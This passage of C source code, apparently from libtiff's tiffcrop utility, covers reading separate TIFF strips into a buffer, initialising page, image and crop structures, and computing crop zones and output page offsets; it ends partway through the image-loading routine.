TIFFError ("readSeparateStripsIntoBuffer", "Unable to allocate strip read buffer for sample %d", s); for (i = 0; i < s; i++) _TIFFfree (srcbuffs[i]); return 0; } srcbuffs[s] = buff; } rows_processed = 0; for (j = 0; (j < strips_per_sample) && (result == 1); j++) { for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; strip = (s * strips_per_sample) + j; bytes_read = TIFFReadEncodedStrip (in, strip, buff, stripsize); rows_this_strip = bytes_read / src_rowsize; if (bytes_read < 0 && !ignore) { TIFFError(TIFFFileName(in), "Error, can't read strip %lu for sample %d", (unsigned long) strip, s + 1); result = 0; break; } #ifdef DEVELMODE TIFFError("", "Strip %2d, read %5d bytes for %4d scanlines, shift width %d", strip, bytes_read, rows_this_strip, shift_width); #endif } if (rps > rows_this_strip) rps = rows_this_strip; dst = obuf + (dst_rowsize * rows_processed); if ((bps % 8) == 0) { if (combineSeparateSamplesBytes (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } } else { switch (shift_width) { case 1: if (combineSeparateSamples8bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 2: if (combineSeparateSamples16bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 3: if (combineSeparateSamples24bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; case 4: case 5: case 6: case 7: case 8: if (combineSeparateSamples32bits (srcbuffs, dst, width, rps, spp, bps, dump->infile, dump->format, dump->level)) { result = 0; break; } break; default: TIFFError ("readSeparateStripsIntoBuffer", "Unsupported bit depth: %d", bps); result = 0; break; } } if ((rows_processed + rps) > length) { rows_processed = length; rps = length - rows_processed; } else rows_processed += rps; } /* free any buffers allocated for each plane or scanline and * any temporary buffers */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { buff = srcbuffs[s]; if (buff != NULL) _TIFFfree(buff); } return (result); } /* end readSeparateStripsIntoBuffer */ static int get_page_geometry (char *name, struct pagedef *page) { char *ptr; int n; for (ptr = name; *ptr; ptr++) *ptr = (char)tolower((int)*ptr); for (n = 0; n < MAX_PAPERNAMES; n++) { if (strcmp(name, PaperTable[n].name) == 0) { page->width = PaperTable[n].width; page->length = PaperTable[n].length; strncpy (page->name, PaperTable[n].name, 15); page->name[15] = '\0'; return (0); } } return (1); } static void initPageSetup (struct pagedef *page, struct pageseg *pagelist, struct buffinfo seg_buffs[]) { int i; strcpy (page->name, ""); page->mode = PAGE_MODE_NONE; page->res_unit = RESUNIT_NONE; page->hres = 0.0; page->vres = 0.0; page->width = 0.0; page->length = 0.0; page->hmargin = 0.0; page->vmargin = 0.0; page->rows = 0; page->cols = 0; page->orient = ORIENTATION_NONE; for (i = 0; i < MAX_SECTIONS; i++) { pagelist[i].x1 = (uint32)0; pagelist[i].x2 = (uint32)0; pagelist[i].y1 = (uint32)0; pagelist[i].y2 = (uint32)0; pagelist[i].buffsize = (uint32)0; pagelist[i].position = 0; pagelist[i].total = 0; } for (i = 0; i < MAX_OUTBUFFS; i++) { seg_buffs[i].size = 0; seg_buffs[i].buffer = NULL; } } static void initImageData (struct image_data *image) { image->xres = 0.0; image->yres = 0.0; image->width = 0; image->length = 0; image->res_unit = RESUNIT_NONE; image->bps = 0; image->spp = 0; image->planar = 0; image->photometric = 0; image->orientation = 0; image->compression = COMPRESSION_NONE; image->adjustments = 0; } static void initCropMasks (struct crop_mask *cps) { int i; cps->crop_mode = CROP_NONE; cps->res_unit = RESUNIT_NONE; cps->edge_ref = EDGE_TOP; cps->width = 0; cps->length = 0; for (i = 0; i < 4; i++) cps->margins[i] = 0.0; cps->bufftotal = (uint32)0; cps->combined_width = (uint32)0; cps->combined_length = (uint32)0; cps->rotation = (uint16)0; cps->photometric = INVERT_DATA_AND_TAG; cps->mirror = (uint16)0; cps->invert = (uint16)0; cps->zones = (uint32)0; cps->regions = (uint32)0; for (i = 0; i < MAX_REGIONS; i++) { cps->corners[i].X1 = 0.0; cps->corners[i].X2 = 0.0; cps->corners[i].Y1 = 0.0; cps->corners[i].Y2 = 0.0; cps->regionlist[i].x1 = 0; cps->regionlist[i].x2 = 0; cps->regionlist[i].y1 = 0; cps->regionlist[i].y2 = 0; cps->regionlist[i].width = 0; cps->regionlist[i].length = 0; cps->regionlist[i].buffsize = 0; cps->regionlist[i].buffptr = NULL; cps->zonelist[i].position = 0; cps->zonelist[i].total = 0; } cps->exp_mode = ONE_FILE_COMPOSITE; cps->img_mode = COMPOSITE_IMAGES; } static void initDumpOptions(struct dump_opts *dump) { dump->debug = 0; dump->format = DUMP_NONE; dump->level = 1; sprintf (dump->mode, "w"); memset (dump->infilename, '\0', PATH_MAX + 1); memset (dump->outfilename, '\0',PATH_MAX + 1); dump->infile = NULL; dump->outfile = NULL; } /* Compute pixel offsets into the image for margins and fixed regions */ static int computeInputPixelOffsets(struct crop_mask *crop, struct image_data *image, struct offset *off) { double scale; float xres, yres; /* Values for these offsets are in pixels from start of image, not bytes, * and are indexed from zero to width - 1 or length - 1 */ uint32 tmargin, bmargin, lmargin, rmargin; uint32 startx, endx; /* offsets of first and last columns to extract */ uint32 starty, endy; /* offsets of first and last row to extract */ uint32 width, length, crop_width, crop_length; uint32 i, max_width, max_length, zwidth, zlength, buffsize; uint32 x1, x2, y1, y2; if (image->res_unit != RESUNIT_INCH && image->res_unit != RESUNIT_CENTIMETER) { xres = 1.0; yres = 1.0; } else { if (((image->xres == 0) || (image->yres == 0)) && (crop->res_unit != RESUNIT_NONE) && ((crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH))) { TIFFError("computeInputPixelOffsets", "Cannot compute margins or fixed size sections without image resolution"); TIFFError("computeInputPixelOffsets", "Specify units in pixels and try again"); return (-1); } xres = image->xres; yres = image->yres; } /* Translate user units to image units */ scale = 1.0; switch (crop->res_unit) { case RESUNIT_CENTIMETER: if (image->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (image->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } if (crop->crop_mode & CROP_REGIONS) { max_width = max_length = 0; for (i = 0; i < crop->regions; i++) { if ((crop->res_unit == RESUNIT_INCH) || (crop->res_unit == RESUNIT_CENTIMETER)) { x1 = (uint32) (crop->corners[i].X1 * scale * xres); x2 = (uint32) (crop->corners[i].X2 * scale * xres); y1 = (uint32) (crop->corners[i].Y1 * scale * yres); y2 = (uint32) (crop->corners[i].Y2 * scale * yres); } else { x1 = (uint32) (crop->corners[i].X1); x2 = (uint32) (crop->corners[i].X2); y1 = (uint32) (crop->corners[i].Y1); y2 = (uint32) (crop->corners[i].Y2); } if (x1 < 1) crop->regionlist[i].x1 = 0; else crop->regionlist[i].x1 = (uint32) (x1 - 1); if (x2 > image->width - 1) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = (uint32) (x2 - 1); zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; if (y1 < 1) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = (uint32) (y1 - 1); if (y2 > image->length - 1) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = (uint32) (y2 - 1); zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; if (zwidth > max_width) max_width = zwidth; if (zlength > max_length) max_length = zlength; buffsize = (uint32) (((zwidth * image->bps * image->spp + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (crop->img_mode == COMPOSITE_IMAGES) { switch (crop->edge_ref) { case EDGE_LEFT: case EDGE_RIGHT: crop->combined_length = zlength; crop->combined_width += zwidth; break; case EDGE_BOTTOM: case EDGE_TOP: /* width from left, length from top */ default: crop->combined_width = zwidth; crop->combined_length += zlength; break; } } } return (0); } /* Convert crop margins into offsets into image * Margins are expressed as pixel rows and columns, not bytes */ if (crop->crop_mode & CROP_MARGINS) { if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { /* User has specified pixels as reference unit */ tmargin = (uint32)(crop->margins[0]); lmargin = (uint32)(crop->margins[1]); bmargin = (uint32)(crop->margins[2]); rmargin = (uint32)(crop->margins[3]); } else { /* inches or centimeters specified */ tmargin = (uint32)(crop->margins[0] * scale * yres); lmargin = (uint32)(crop->margins[1] * scale * xres); bmargin = (uint32)(crop->margins[2] * scale * yres); rmargin = (uint32)(crop->margins[3] * scale * xres); } if ((lmargin + rmargin) > image->width) { TIFFError("computeInputPixelOffsets", "Combined left and right margins exceed image width"); lmargin = (uint32) 0; rmargin = (uint32) 0; return (-1); } if ((tmargin + bmargin) > image->length) { TIFFError("computeInputPixelOffsets", "Combined top and bottom margins exceed image length"); tmargin = (uint32) 0; bmargin = (uint32) 0; return (-1); } } else { /* no margins requested */ tmargin = (uint32) 0; lmargin = (uint32) 0; bmargin = (uint32) 0; rmargin = (uint32) 0; } /* Width, height, and margins are expressed as pixel offsets into image */ if (crop->res_unit != RESUNIT_INCH && crop->res_unit != RESUNIT_CENTIMETER) { if (crop->crop_mode & CROP_WIDTH) width = (uint32)crop->width; else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)crop->length; else length = image->length - tmargin - bmargin; } else { if (crop->crop_mode & CROP_WIDTH) width = (uint32)(crop->width * scale * image->xres); else width = image->width - lmargin - rmargin; if (crop->crop_mode & CROP_LENGTH) length = (uint32)(crop->length * scale * image->yres); else length = image->length - tmargin - bmargin; } off->tmargin = tmargin; off->bmargin = bmargin; off->lmargin = lmargin; off->rmargin = rmargin; /* Calculate regions defined by margins, width, and length. * Coordinates expressed as 0 to imagewidth - 1, imagelength - 1, * since they are used to compute offsets into buffers */ switch (crop->edge_ref) { case EDGE_BOTTOM: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; endy = image->length - bmargin - 1; if ((endy - length) <= tmargin) starty = tmargin; else starty = endy - length + 1; break; case EDGE_RIGHT: endx = image->width - rmargin - 1; if ((endx - width) <= lmargin) startx = lmargin; else startx = endx - width + 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; case EDGE_TOP: /* width from left, length from top */ case EDGE_LEFT: default: startx = lmargin; if ((startx + width) >= (image->width - rmargin)) endx = image->width - rmargin - 1; else endx = startx + width - 1; starty = tmargin; if ((starty + length) >= (image->length - bmargin)) endy = image->length - bmargin - 1; else endy = starty + length - 1; break; } off->startx = startx; off->starty = starty; off->endx = endx; off->endy = endy; crop_width = endx - startx + 1; crop_length = endy - starty + 1; if (crop_width <= 0) { TIFFError("computeInputPixelOffsets", "Invalid left/right margins and /or image crop width requested"); return (-1); } if (crop_width > image->width) crop_width = image->width; if (crop_length <= 0) { TIFFError("computeInputPixelOffsets", "Invalid top/bottom margins and /or image crop length requested"); return (-1); } if (crop_length > image->length) crop_length = image->length; off->crop_width = crop_width; off->crop_length = crop_length; return (0); } /* end computeInputPixelOffsets */ /* * Translate crop options into pixel offsets for one or more regions of the image. * Options are applied in this order: margins, specific width and length, zones, * but all are optional. Margins are relative to each edge. Width, length and * zones are relative to the specified reference edge. Zones are expressed as * X:Y where X is the ordinal value in a set of Y equal sized portions. eg. * 2:3 would indicate the middle third of the region qualified by margins and * any explicit width and length specified. Regions are specified by coordinates * of the top left and lower right corners with range 1 to width or height. */ static int getCropOffsets(struct image_data *image, struct crop_mask *crop, struct dump_opts *dump) { struct offset offsets; int i; int32 test; uint32 seg, total, need_buff = 0; uint32 buffsize; uint32 zwidth, zlength; memset(&offsets, '\0', sizeof(struct offset)); crop->bufftotal = 0; crop->combined_width = (uint32)0; crop->combined_length = (uint32)0; crop->selections = 0; /* Compute pixel offsets if margins or fixed width or length specified */ if ((crop->crop_mode & CROP_MARGINS) || (crop->crop_mode & CROP_REGIONS) || (crop->crop_mode & CROP_LENGTH) || (crop->crop_mode & CROP_WIDTH)) { if (computeInputPixelOffsets(crop, image, &offsets)) { TIFFError ("getCropOffsets", "Unable to compute crop margins"); return (-1); } need_buff = TRUE; crop->selections = crop->regions; /* Regions are only calculated from top and left edges with no margins */ if (crop->crop_mode & CROP_REGIONS) return (0); } else { /* cropped area is the full image */ offsets.tmargin = 0; offsets.lmargin = 0; offsets.bmargin = 0; offsets.rmargin = 0; offsets.crop_width = image->width; offsets.crop_length = image->length; offsets.startx = 0; offsets.endx = image->width - 1; offsets.starty = 0; offsets.endy = image->length - 1; need_buff = FALSE; } if (dump->outfile != NULL) { dump_info (dump->outfile, dump->format, "", "Margins: Top: %d Left: %d Bottom: %d Right: %d", offsets.tmargin, offsets.lmargin, offsets.bmargin, offsets.rmargin); dump_info (dump->outfile, dump->format, "", "Crop region within margins: Adjusted Width: %6d Length: %6d", offsets.crop_width, offsets.crop_length); } if (!(crop->crop_mode & CROP_ZONES)) /* no crop zones requested */ { if (need_buff == FALSE) /* No margins or fixed width or length areas */ { crop->selections = 0; crop->combined_width = image->width; crop->combined_length = image->length; return (0); } else { /* Use one region for margins and fixed width or length areas * even though it was not formally declared as a region. */ crop->selections = 1; crop->zones = 1; crop->zonelist[0].total = 1; crop->zonelist[0].position = 1; } } else crop->selections = crop->zones; for (i = 0; i < crop->zones; i++) { seg = crop->zonelist[i].position; total = crop->zonelist[i].total; switch (crop->edge_ref) { case EDGE_LEFT: /* zones from left to right, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * 1.0 * (seg - 1) / total); test = (int32)offsets.startx + (int32)(offsets.crop_width * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_BOTTOM: /* width from left, zones from bottom to top */ zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; test = offsets.endy - (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y1 = 0; else crop->regionlist[i].y1 = test + 1; test = offsets.endy - (offsets.crop_length * 1.0 * (seg - 1) / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; case EDGE_RIGHT: /* zones from right to left, length from top */ zlength = offsets.crop_length; crop->regionlist[i].y1 = offsets.starty; crop->regionlist[i].y2 = offsets.endy; crop->regionlist[i].x1 = offsets.startx + (uint32)(offsets.crop_width * (total - seg) * 1.0 / total); test = offsets.startx + (offsets.crop_width * (total - seg + 1) * 1.0 / total); if (test < 1 ) crop->regionlist[i].x2 = 0; else { if (test > (int32)(image->width - 1)) crop->regionlist[i].x2 = image->width - 1; else crop->regionlist[i].x2 = test - 1; } zwidth = crop->regionlist[i].x2 - crop->regionlist[i].x1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ crop->combined_length = (uint32)zlength; if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_width += (uint32)zwidth; else crop->combined_width = (uint32)zwidth; break; case EDGE_TOP: /* width from left, zones from top to bottom */ default: zwidth = offsets.crop_width; crop->regionlist[i].x1 = offsets.startx; crop->regionlist[i].x2 = offsets.endx; crop->regionlist[i].y1 = offsets.starty + (uint32)(offsets.crop_length * 1.0 * (seg - 1) / total); test = offsets.starty + (uint32)(offsets.crop_length * 1.0 * seg / total); if (test < 1 ) crop->regionlist[i].y2 = 0; else { if (test > (int32)(image->length - 1)) crop->regionlist[i].y2 = image->length - 1; else crop->regionlist[i].y2 = test - 1; } zlength = crop->regionlist[i].y2 - crop->regionlist[i].y1 + 1; /* This is passed to extractCropZone or extractCompositeZones */ if (crop->exp_mode == COMPOSITE_IMAGES) crop->combined_length += (uint32)zlength; else crop->combined_length = (uint32)zlength; crop->combined_width = (uint32)zwidth; break; } /* end switch statement */ buffsize = (uint32) ((((zwidth * image->bps * image->spp) + 7 ) / 8) * (zlength + 1)); crop->regionlist[i].width = (uint32) zwidth; crop->regionlist[i].length = (uint32) zlength; crop->regionlist[i].buffsize = buffsize; crop->bufftotal += buffsize; if (dump->outfile != NULL) dump_info (dump->outfile, dump->format, "", "Zone %d, width: %4d, length: %4d, x1: %4d x2: %4d y1: %4d y2: %4d", i + 1, (uint32)zwidth, (uint32)zlength, crop->regionlist[i].x1, crop->regionlist[i].x2, crop->regionlist[i].y1, crop->regionlist[i].y2); } return (0); } /* end getCropOffsets */ static int computeOutputPixelOffsets (struct crop_mask *crop, struct image_data *image, struct pagedef *page, struct pageseg *sections, struct dump_opts* dump) { double scale; double pwidth, plength; /* Output page width and length in user units*/ uint32 iwidth, ilength; /* Input image width and length in pixels*/ uint32 owidth, olength; /* Output image width and length in pixels*/ uint32 orows, ocols; /* rows and cols for output */ uint32 hmargin, vmargin; /* Horizontal and vertical margins */ uint32 x1, x2, y1, y2, line_bytes; /* unsigned int orientation; */ uint32 i, j, k; scale = 1.0; if (page->res_unit == RESUNIT_NONE) page->res_unit = image->res_unit; switch (image->res_unit) { case RESUNIT_CENTIMETER: if (page->res_unit == RESUNIT_INCH) scale = 1.0/2.54; break; case RESUNIT_INCH: if (page->res_unit == RESUNIT_CENTIMETER) scale = 2.54; break; case RESUNIT_NONE: /* Dimensions in pixels */ default: break; } /* get width, height, resolutions of input image selection */ if (crop->combined_width > 0) iwidth = crop->combined_width; else iwidth = image->width; if (crop->combined_length > 0) ilength = crop->combined_length; else ilength = image->length; if (page->hres <= 1.0) page->hres = image->xres; if (page->vres <= 1.0) page->vres = image->yres; if ((page->hres < 1.0) || (page->vres < 1.0)) { TIFFError("computeOutputPixelOffsets", "Invalid horizontal or vertical resolution specified or read from input image"); return (1); } /* If no page sizes are being specified, we just use the input image size to * calculate maximum margins that can be taken from image. */ if (page->width <= 0) pwidth = iwidth; else pwidth = page->width; if (page->length <= 0) plength = ilength; else plength = page->length; if (dump->debug) { TIFFError("", "Page size: %s, Vres: %3.2f, Hres: %3.2f, " "Hmargin: %3.2f, Vmargin: %3.2f", page->name, page->vres, page->hres, page->hmargin, page->vmargin); TIFFError("", "Res_unit: %d, Scale: %3.2f, Page width: %3.2f, length: %3.2f", page->res_unit, scale, pwidth, plength); } /* compute margins at specified unit and resolution */ if (page->mode & PAGE_MODE_MARGINS) { if (page->res_unit == RESUNIT_INCH || page->res_unit == RESUNIT_CENTIMETER) { /* inches or centimeters specified */ hmargin = (uint32)(page->hmargin * scale * page->hres * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * page->vres * ((image->bps + 7)/ 8)); } else { /* Otherwise user has specified pixels as reference unit */ hmargin = (uint32)(page->hmargin * scale * ((image->bps + 7)/ 8)); vmargin = (uint32)(page->vmargin * scale * ((image->bps + 7)/ 8)); } if ((hmargin * 2.0) > (pwidth * page->hres)) { TIFFError("computeOutputPixelOffsets", "Combined left and right margins exceed page width"); hmargin = (uint32) 0; return (-1); } if ((vmargin * 2.0) > (plength * page->vres)) { TIFFError("computeOutputPixelOffsets", "Combined top and bottom margins exceed page length"); vmargin = (uint32) 0; return (-1); } } else { hmargin = 0; vmargin = 0; } if (page->mode & PAGE_MODE_ROWSCOLS ) { /* Maybe someday but not for now */ if (page->mode & PAGE_MODE_MARGINS) TIFFError("computeOutputPixelOffsets", "Output margins cannot be specified with rows and columns"); owidth = TIFFhowmany(iwidth, page->cols); olength = TIFFhowmany(ilength, page->rows); } else { if (page->mode & PAGE_MODE_PAPERSIZE ) { owidth = (uint32)((pwidth * page->hres) - (hmargin * 2)); olength = (uint32)((plength * page->vres) - (vmargin * 2)); } else { owidth = (uint32)(iwidth - (hmargin * 2 * page->hres)); olength = (uint32)(ilength - (vmargin * 2 * page->vres)); } } if (owidth > iwidth) owidth = iwidth; if (olength > ilength) olength = ilength; /* Compute the number of pages required for Portrait or Landscape */ switch (page->orient) { case ORIENTATION_NONE: case ORIENTATION_PORTRAIT: ocols = TIFFhowmany(iwidth, owidth); orows = TIFFhowmany(ilength, olength); /* orientation = ORIENTATION_PORTRAIT; */ break; case ORIENTATION_LANDSCAPE: ocols = TIFFhowmany(iwidth, olength); orows = TIFFhowmany(ilength, owidth); x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ break; case ORIENTATION_AUTO: default: x1 = TIFFhowmany(iwidth, owidth); x2 = TIFFhowmany(ilength, olength); y1 = TIFFhowmany(iwidth, olength); y2 = TIFFhowmany(ilength, owidth); if ( (x1 * x2) < (y1 * y2)) { /* Portrait */ ocols = x1; orows = x2; /* orientation = ORIENTATION_PORTRAIT; */ } else { /* Landscape */ ocols = y1; orows = y2; x1 = olength; olength = owidth; owidth = x1; /* orientation = ORIENTATION_LANDSCAPE; */ } } if (ocols < 1) ocols = 1; if (orows < 1) orows = 1; /* If user did not specify rows and cols, set them from calcuation */ if (page->rows < 1) page->rows = orows; if (page->cols < 1) page->cols = ocols; line_bytes = TIFFhowmany8(owidth * image->bps) * image->spp; if ((page->rows * page->cols) > MAX_SECTIONS) { TIFFError("computeOutputPixelOffsets", "Rows and Columns exceed maximum sections\nIncrease resolution or reduce sections"); return (-1); } /* build the list of offsets for each output section */ for (k = 0, i = 0 && k <= MAX_SECTIONS; i < orows; i++) { y1 = (uint32)(olength * i); y2 = (uint32)(olength * (i + 1) - 1); if (y2 >= ilength) y2 = ilength - 1; for (j = 0; j < ocols; j++, k++) { x1 = (uint32)(owidth * j); x2 = (uint32)(owidth * (j + 1) - 1); if (x2 >= iwidth) x2 = iwidth - 1; sections[k].x1 = x1; sections[k].x2 = x2; sections[k].y1 = y1; sections[k].y2 = y2; sections[k].buffsize = line_bytes * olength; sections[k].position = k + 1; sections[k].total = orows * ocols; } } return (0); } /* end computeOutputPixelOffsets */ static int loadImage(TIFF* in, struct image_data *image, struct dump_opts *dump, unsigned char **read_ptr) { uint32 i; float xres = 0.0, yres = 0.0; uint32 nstrips = 0, ntiles = 0; uint16 planar = 0; uint16 bps = 0, spp = 0, res_unit = 0; uint16 orientation = 0; uint16 input_compression = 0, input_photometric = 0; uint16 subsampling_horiz, subsampling_vert; uint32 width = 0, length = 0; uint32 stsize = 0, tlsize = 0, buffsize = 0, scanlinesize = 0; uint32 tw = 0, tl = 0; /* Tile width and length */ uint32 tile_rowsize = 0; unsigned char *read_buff = NULL; unsigned char *new_buff = NULL; int readunit = 0; static uint32 prev_readsize = 0; TIFFGetFieldDefaulted(in, TIFFTAG_BITSPERSAMPLE, &bps); TIFFGetFieldDefaulted(in, TIFFTAG_SAMPLESPERPIXEL, &spp); TIFFGetFieldDefaulted(in, TIFFTAG_PLANARCONFIG, &planar); TIFFGetFieldDefaulted(in, TIFFTAG_ORIENTATION, &orientation); if (! TIFFGetFieldDefaulted(in, TIFFTAG_PHOTOMETRIC, &input_photometric)) TIFFError("loadImage","Image lacks Photometric interpreation tag"); if (! TIFFGetField(in, TIFFTAG_IMAGEWIDTH, &width)) TIFFError("loadimage","Image lacks image width tag"); if(! TIFFGetField(in, TIFFTAG_IMAGELENGTH, &length)) TIFFError("loadimage","Image lacks image length tag"); TIFFGetFieldDefaulted(in, TIFFTAG_XRESOLUTION, &xres); TIFFGetFieldDefaulted(in, TIFFTAG_YRESOLUTION, &yres); if (!TIFFGetFieldDefaulted(in, TIFFTAG_RESOLUTIONUNIT, &res_unit)) res_unit = RESUNIT_INCH; if (!TIFFGetField(in, TIFFTAG_COMPRESSION, &input_compression)) input_compression = COMPRESSION_NONE; #ifdef DEBUG2 char compressionid[16]; switch (input_compression) { case COMPRESSION_NONE: /* 1 dump mode */ strcpy (compressionid, "None/dump"); break; case COMPRESSION_CCITTRLE: /* 2 CCITT modified Huffman RLE */ strcpy (compressionid, "Huffman RLE"); break; case COMPRESSION_CCITTFAX3: /* 3 CCITT Group 3 fax encoding */ strcpy (compressionid, "Group3 Fax"); break; case COMPRESSION_CCITTFAX4: /* 4 CCITT Group 4 fax encoding */ strcpy (compressionid, "Group4 Fax"); break; case COMPRESSION_LZW: /* 5 Lempel-Ziv & Welch */ strcpy (compressionid, "LZW"); break; case COMPRESSION_OJPEG: /* 6 !6.0 JPEG */ strcpy (compressionid, "Old Jpeg"); break; case COMPRESSION_JPEG: /* 7 %JPEG DCT compression */ strcpy (compressionid, "New Jpeg"); break; case COMPRESSION_NEXT: /* 32766 NeXT 2-bit RLE */ strcpy (compressionid, "Next RLE"); break; case COMPRESSION_CCITTRLEW: /* 32771 #1 w/ word alignment */ strcpy (compressionid, "CITTRLEW"); break; case COMPRESSION_PACKBITS: /* 32773 Macintosh RLE */ strcpy (compressionid, "Mac Packbits"); break; case COMPRESSION_THUNDERSCAN: /* 32809 ThunderScan RLE */ strcpy (compressionid, "Thunderscan"); break; case COMPRESSION_IT8CTPAD: /* 32895 IT8 CT w/padding */ strcpy (compressionid, "IT8 padded"); break; case COMPRESSION_IT8LW: /* 32896 IT8 Linework RLE */ strcpy (compressionid, "IT8 RLE"); break; case COMPRESSION_IT8MP: /* 32897 IT8 Monochrome picture */ strcpy (compressionid, "IT8 mono"); break; case COMPRESSION_IT8BL: /* 32898 IT8 Binary line art */ strcpy (compressionid, "IT8 lineart"); break; case COMPRESSION_PIXARFILM: /* 32908 Pixar companded 10bit LZW */ strcpy (compressionid, "Pixar 10 bit"); break; case COMPRESSION_PIXARLOG: /* 32909 Pixar companded 11bit ZIP */ strcpy (compressionid, "Pixar 11bit"); break; case COMPRESSION_DEFLATE: /* 32946 Deflate compression */ strcpy (compressionid, "Deflate"); break; case COMPRESSION_ADOBE_DEFLATE: /* 8 Deflate compression */ strcpy (compressionid, "Adobe deflate"); break; default: strcpy (compressionid, "None/unknown"); break; } TIFFError("loadImage", "Input compression %s", compressionid); #endif scanlinesize = TIFFScanlineSize(in); image->bps = bps; image->spp = spp; image->planar = planar; image->width = width; image->length = length; image->xres = xres; image->yres = yres; image->res_unit = res_unit; image->compression = input_compression; image->photometric = input_photometric; #ifdef DEBUG2 char photometricid[12]; switch (input_photometric) { case PHOTOMETRIC_MINISWHITE: strcpy (photometricid, "MinIsWhite"); break; case PHOTOMETRIC_MINISBLACK: strcpy (photometricid, "MinIsBlack"); break; case PHOTOMETRIC_RGB: strcpy (photometricid, "RGB"); break; case PHOTOMETRIC_PALETTE: strcpy (photometricid, "Palette"); break; case PHOTOMETRIC_MASK: strcpy (photometricid, "Mask"); break; case PHOTOMETRIC_SEPARATED: strcpy (photometricid, "Separated"); break; case PHOTOMETRIC_YCBCR: strcpy (photometricid, "YCBCR"); break; case PHOTOMETRIC_CIELAB: strcpy (photometricid, "CIELab"); break; case PHOTOMETRIC_ICCLAB: strcpy (photometricid, "ICCLab"); break; case PHOTOMETRIC_ITULAB: strcpy (photometricid, "ITULab"); break; case PHOTOMETRIC_LOGL: strcpy (photometricid, "LogL"); break; case PHOTOMETRIC_LOGLUV: strcpy (photometricid, "LOGLuv"); break; default: strcpy (photometricid, "Unknown"); break; } TIFFError("loadImage", "Input photometric interpretation %s", photometricid); #endif image->orientation = orientation; switch (orientation) { case 0: case ORIENTATION_TOPLEFT: image->adjustments = 0; break; case ORIENTATION_TOPRIGHT: image->adjustments = MIRROR_HORIZ; break; case ORIENTATION_BOTRIGHT: image->adjustments = ROTATECW_180; break; case ORIENTATION_BOTLEFT: image->adjustments = MIRROR_VERT; break; case ORIENTATION_LEFTTOP: image->adjustments = MIRROR_VERT | ROTATECW_90; break; case ORIENTATION_RIGHTTOP: image->adjustments = ROTATECW_90; break; case ORIENTATION_RIGHTBOT: image->adjustments = MIRROR_VERT | ROTATECW_270; break; case ORIENTATION_LEFTBOT: image->adjustments = ROTATECW_270; break; default: image->adjustments = 0; image->orientation = ORIENTATION_TOPLEFT; } if ((bps == 0) || (spp == 0)) { TIFFError("loadImage", "Invalid samples per pixel (%d) or bits per sample (%d)", spp, bps); return (-1); } if (TIFFIsTiled(in)) { readunit = TILE; tlsize = TIFFTileSize(in); ntiles = TIFFNumberOfTiles(in); TIFFGetField(in, TIFFTAG_TILEWIDTH, &tw); TIFFGetField(in, TIFFTAG_TILELENGTH, &tl); tile_rowsize = TIFFTileRowSize(in); if (ntiles == 0 || tlsize == 0 || tile_rowsize == 0) { TIFFError("loadImage", "File appears to be tiled, but the number of tiles, tile size, or tile rowsize is zero."); exit(-1); } buffsize = tlsize * ntiles; if (tlsize != (buffsize / ntiles)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } if (buffsize < (uint32)(ntiles * tl * tile_rowsize)) { buffsize = ntiles * tl * tile_rowsize; if (ntiles != (buffsize / tl / tile_rowsize)) { TIFFError("loadImage", "Integer overflow when calculating buffer size"); exit(-1); } #ifdef DEBUG2 TIFFError("loadImage", "Tilesize %u is too small, using ntiles * tilelength * tilerowsize 